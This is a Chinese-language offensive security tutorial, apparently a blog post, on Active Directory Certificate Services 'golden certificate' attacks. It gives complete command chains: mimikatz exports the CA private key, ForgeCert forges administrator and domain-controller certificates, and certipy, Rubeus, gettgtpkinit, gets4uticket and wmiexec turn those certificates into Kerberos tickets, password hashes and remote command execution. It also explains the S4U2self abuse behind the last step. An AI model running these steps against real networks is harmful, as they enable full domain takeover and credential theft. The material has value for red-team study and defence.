域内证书维权

黄金证书

证书链中,除了处于证书链中的 根信任证书 外,其他证书的签名需要使用它上一级证书的私钥,而 根信任证书 使用自己的私钥给自己签名。CA 证书使用其私钥签发其他证书,因为 CA 证书被根信任证书的私钥签了名,因此 CA 证书继承了根信任证书的信任。如果 CA 证书私钥泄露,我们就能使用 CA 证书签发其他证书。

在域环境下,域用户申请 User 模板的证书用于客户端身份验证,这类证书由 CA证书 签发,一般 CA 证书存放在所有域用户机器下的 受信任证书列表 中。那么如果我们获得 CA 证书的私钥,那么可以使用它伪造域用户证书链 ,这样我们获得域内所有用户凭据。 此外,我们称之为这些 CA 证书为 黄金证书

如何判断CA证书?
  • 只有CA证书有 "CA版本" 这一扩展。

  • CA 证书没有 EKU。

  • 证书的颁发者 Issuer 和主题名称 Subject (使用者)都设置为 CA 的专有名称。

注意:CA 证书的私钥受到 CA 服务器 DPAPI 保护。

证书导出

mimikatz
复制代码
# 在 CA 机器上使用 mimikatz 执行如下命令导出机器证书,导出的.pfx 文件即包含 CA 的证书和私钥,该 pfx 文件的导出密码为mimikatz。
​
mimikatz.exe "privilege::debug" "crypto::capi" "crypto::certificates /systemstore:local_machine /store:my /export" exit
certipy
复制代码
# 请求某一客户的证书
certipy ca -u [email protected] -p p-0p-0p-0 -target 192.168.72.21

证书伪造

利用获得的黄金证书,颁发域用户证书。

ForgeCert
复制代码
伪造 administrator 用户证书,证书的密码为空。
​
# 为用户生成证书
ForgeCert.exe --CaCertPath "local_machine_my_0_HACK-DC01-CA.pfx" --CaCertPassword "mimikatz" --Subject "CN=User" --SubjectAltName "[email protected]" --NewCertPath administrator.pfx --NewCertPassword ""
​
#为机器生成黄金票据
ForgeCert.exe --CaCertPath "local_machine_my_0_HACK-DC01-CA.pfx" --CaCertPassword "mimikatz" --Subject "CN=Computer" --SubjectAltName "[email protected]" --NewCertPath DC01.pfx --NewCertPassword ""
​
#如果 CA 服务器不是域控的话,需要指定 CRL 列表
--CRL "ldap:///CN=xie-CA-CA,CN=CA,CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,DC=xie,DC=com?certificateRevocationList?base?objectClass =cRLDistributionPoint"

证书攻击

上一步骤已经伪造好了用户证书,可以通过此用户证书进行 PKINIT kerberos 身份验证获取域用户hash。

certipy
复制代码
# 将 pfx 文件转换为 pem 文件
openssl pkcs12 -in administrator.pfx -nodes -out administrator.pem
​
# 将 pem 文件转换为无密码的 pfx 文件
openssl pkcs12 -in administrator.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out administrator.pfx
​
#认证获得 hash
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.4 -debug
Rebeus
复制代码
Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password: /ptt
                                                              ^^^^^^^
                                                            证书导入时的密码

机器证书利用

域内环境下,机器账号的hash不能直接利用。

mimikatz

导出证书及其私钥

复制代码
mimikatz.exe "crypto::capi" "crypto::certificates /systemstore:local_machine /store:my /export" "exit"
certipy(攻击域控)
复制代码
ForgeCert.exe --CaCertPath "local_machine_my_0_HACK-DC01-CA.pfx" --CaCertPassword "mimikatz" --Subject "CN=Computer" --SubjectAltName "[email protected]" --NewCertPath DC01.pfx --NewCertPassword ""
​
# 将 pfx 文件转换为 pem 文件
openssl pkcs12 -in DC01.pfx -nodes -out DC01.pem
​
# 将 pem 文件转换为无密码的 pfx 文件
openssl pkcs12 -in DC01.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out DC01.pfx
​
certipy auth -pfx DC01.pfx -dc-ip 192.168.72.21 -debug
普通机器账号
复制代码
# 颁发 comp1$ 的机器账户证书
ForgeCert.exe --CaCertPath "local_machine_my_0_HACK-DC01-CA.pfx" --CaCertPassword "mimikatz" --Subject "CN=Computer" --SubjectAltName "[email protected]" --NewCertPath comp1.pfx --NewCertPassword ""
​
# 将 pfx 文件转换为 pem 文件
openssl pkcs12 -in /tmp/comp1.pfx -nodes -out /tmp/comp1.pem
​
# 将 pem 文件转换为无密码的 pfx 文件
openssl pkcs12 -in /tmp/comp1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out /tmp/comp1.pfx
​
# 利用机器账户证书生成 .ccache 格式的 tgt。
python3 gettgtpkinit.py -cert-pfx /tmp/comp1.pfx -pfx-pass mimikatz -dc-ip 192.168.72.21 -v HACK.com/comp1\$ comp1.ccache
​
# 利用 comp1$ 机器账户 tgt 为域管理员申请访问 comp1.HACK.com CIFS 协议的票据
python3 gets4uticket.py kerberos+ccache://HACK.com\\comp1\$:[email protected] cifs/[email protected] [email protected] administrator.ccache -v
​
# 导入票据
export KRB5CCNAME=administrator.ccache
​
# 以 administrator 访问 comp1.HACK.com
python3 wmiexec.py -k -no-pass HACK.com/[email protected]

此过程没有利用到委派攻击,而是利用到了 S4U2self 的宽松性。整个过程仅依赖 S4U2self。

S4U2self 的宽松性:S4U2self 的设计初衷是允许服务在需要知道用户身份时(如审计日志),无需用户主动认证即可获取票据。因此默认情况下,任何服务账户均可使用 S4U2self 为自己服务请求用户票据,无需额外权限。

总结:该攻击成功的原因是 Kerberos 协议中服务账户天然拥有为自身服务生成任意用户票据的能力,而无需委派。这是协议设计特性,而非配置疏漏。

相关推荐
dessler2 分钟前
代理服务器-LVS的3种模式与调度算法
运维·服务器·网络·算法·nginx·tomcat·lvs
Lw老王要学习19 分钟前
Linux容器篇、第二章_01Ubuntu22 环境下 KubeSphere 容器平台高可用搭建全流程
linux·运维·服务器·k8s·kubesphere·容器化
moppol44 分钟前
SSL/TLS握手全流程拆解:从“Hello“到“安全通道“的每一个字节
网络·安全·ssl
电商API_180079052472 小时前
构建高效可靠的电商 API:设计原则与实践指南
运维·服务器·爬虫·数据挖掘·网络爬虫
阿部多瑞 ABU2 小时前
大模型安全测试报告:千问、GPT 全系列、豆包、Claude 表现优异,DeepSeek、Grok-3 与 Kimi 存在安全隐患
gpt·安全·ai
猫头虎2 小时前
[特殊字符]解决 “IDEA 登录失败。不支持早于 14.0 的 GitLab 版本” 问题的几种方法
java·ide·网络协议·http·https·gitlab·intellij-idea
Oliverro3 小时前
人脸识别技术成为时代需求,视频智能分析网关视频监控系统中AI算法的应用
网络·人工智能
hao_wujing3 小时前
攻击模型的恶意行为检测
网络·数据库·php
Clownseven3 小时前
“轻量应用服务器” vs. “云服务器CVM”:小白入门腾讯云,哪款“云机”更适合你?(场景、配置、价格对比解析)
运维·服务器·腾讯云
安全系统学习3 小时前
网络安全逆向分析之rust逆向技巧
前端·算法·安全·web安全·网络安全·中间件